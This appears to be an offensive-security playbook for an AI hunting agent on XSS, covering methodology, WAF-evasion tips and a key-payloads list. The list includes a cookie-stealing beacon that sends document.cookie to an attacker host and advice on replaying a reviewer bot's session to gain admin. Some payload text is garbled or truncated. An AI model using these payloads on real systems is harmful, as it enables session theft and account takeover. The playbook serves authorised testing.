Encod3d-Sec Hunt: XSS
Assumes hunt-core for the scope gate, two-account rule, confirmation gate, enumeration
limits, stop conditions, wiki protocol, FIND output, and Deadends. Marker discipline (unique 8+
char canaries, check the baseline first) lives in hunt-core.
Wiki
qmd_query "XSS cross-site scripting DOM CSP bypass sanitizer" via wiki-search MCP
Hub: [[web-moc]] (live web index). Primary page: [[xss]]. Payload arsenals: wiki/payloads/{xss,prototype-pollution}.md.
Related client-side vectors: [[dangling-markup]] (scriptless HTML-injection exfil when script tags
are blocked), [[xssi]] (JSONP/script-inclusion info leak), [[browser-extension-attacks]]
(content-script/message-passing injection).
Confirmation gate
NOT confirmation: payload URL-encoded or HTML-encoded in response, <script> appears as <script>, ASP.NET validator blocked <.
IS confirmation: HTTP/DNS request to your unique Collaborator subdomain with browser User-Agent (Mozilla/Chrome).
When you plant a blind/stored XSS beacon, append a row to targets/<eng>/oob.md: | <token> | <sink url+param> | xss | <date> | waiting | | (columns: token | sink | class | planted | status | source, where token = your unique Burp Collaborator / interactsh label). The recon-capture hook auto-correlates incoming callbacks to flip the row to HIT and SessionStart surfaces HITs; a HIT row is the confirmation gate to scaffold the FIND. Do NOT claim a blind XSS without a HIT row.
Attack Surface Signals
High-value: admin panels (*/admin, */settings), payment flows, stored wikis/labels/tags, SSO/signin pages, SVG upload endpoints.
Approval / moderation workflow = the classic stored-XSS-to-privilege-escalation sink. Recognize it.
When your submission "awaits review/approval by a moderator/admin" AND any field you control is rendered
back in a privileged panel (a pending-registrations queue, a report/ticket viewer, a comment-moderation
list, an order-approval screen), there is almost always a headless reviewer bot that opens that panel.
That is a blind-XSS delivery you get for free: plant a cookie/session beacon in the field and the reviewer's
session is exfiltrated -> replay their cookie -> you ARE the moderator/admin. The tell is often visible while
authed as a lower role or as admin: if the panel shows a prior submission's raw markup (an unescaped username
like <x> or sqltest'... sitting literally in the table), the sink is confirmed without even firing a
payload -- that raw reflection IS the stored-XSS proof, do not walk past it. This is frequently the INTENDED
path to the mid-tier (moderator) flag/role on a box that also has a heavier unintended route (LFI/RCE).
Reviewer-bot + WAF stored-XSS gotchas (avoid the self-inflicted grind):
- If a public writeup / known payload exists, fire its EXACT form first before inventing variants.
- Obfuscate ONLY the blocked token, not the whole payload. Submit each suspect token in
isolation to learn exactly what the WAF rejects (often just the literal word
cookie, oronerror/<script>). Keep everything else literal:new Image().src='//IP/?x='+document['coo'+'kie'](split onlycookie, keepdocument) beats splittingdocumenttoo. Over-obfuscation (srcdoc+atob+.concat+template-literals) usually breaks EXECUTION, not the WAF. - Prefer the simplest vector that passes the WAF AND runs in the bot. A plain
<body Image().src=...">beacon is more reliable than ajavascript:iframe (modern headless Chrome blocksjavascript:-iframe navigation) orsrcdocgymnastics. - Do NOT flood the moderation queue with test payloads. The reviewer panel usually renders a
LIMITED window; buried test messages never surface, so "no callback" becomes ambiguous (broken
payload vs not-rendered). Submit ONE payload + a paired plain-
<img>control in the SAME message (same render), so a callback disambiguates render-vs-execution. Iterate in a clean queue. - Payload arsenal + WAF-token isolation examples:
wiki/payloads/xss.md.
DOM XSS signals in JS:
document.write( innerHTML = location.hash location.search
eval( $.html( $(location document.referrer
Methodology
- Map all reflection points - URL params, form fields, HTTP headers, file upload names
- Classify: Reflected / Stored / DOM
- Probe sanitizer: send
aaa"bbb'ccc<ddd- observe which chars escaped - Test allowlisted tag combos:
<math><style>,<svg><style>,<iframe srcdoc> - Hunt SVG upload vectors - often bypasses CSP
- Test markdown/RDoc:
[text](javascript:alert(1)),link:javascript: - Check redirect params:
?redirect=javascript:alert(1) - Test UTM params:
utm_source,utm_medium- often unsanitized on marketing pages - Plant blind-XSS beacons in admin-viewable fields: error messages, User-Agent, Referer, username, email
- Validate in real browser before reporting
- Distill when confirmed (per hunt-core): reusable sanitizer or CSP bypass, GENERIC,
python3 scripts/wiki-stage.py --kind technique --slug <slug> --target-page techniques/web/xss.md.
Key Payloads
<!-- Context probe -->
aaa"bbb'ccc<ddd>eee`fff
<!-- Reflected baseline -->
"><script>alert(document.domain)</script>
<svg
<!-- SVG (CSP bypass) -->
<svg xmlns="http://www.w3.org/2000/svg"><script>alert(document.domain)</script></svg>
<!-- Sanitizer bypass -->
<math><style><img src=x
<!-- Blind-XSS beacon (into a reviewer/approval field) -->
<svg
<!-- Filter-bypass beacon: word "cookie" blocked / <script>,<img> filtered / entity-encoded.
Concatenate the property name + use iframe onload; exfil via new Image() (no fetch needed). -->
<iframe Image().src='//<lhost>:<port>/?x='+document['coo'+'kie']">
<!-- other separators when on\w+= is regex-filtered: <svg%0conload=...> (form feed), <svg/onload=...> -->
<!-- Markdown -->
[Click](javascript:alert(document.domain))
Severity
Confirm in a real browser, not just Burp. FIND output and Deadends format per hunt-core:
- high - stored in an admin/privileged context, or session theft demonstrated.
- medium - reflected requiring a click.
- low - self-XSS with no chain.
Class deadend line: - [ ] XSS on <host> <param> -- payload encoded/rejected, [detail].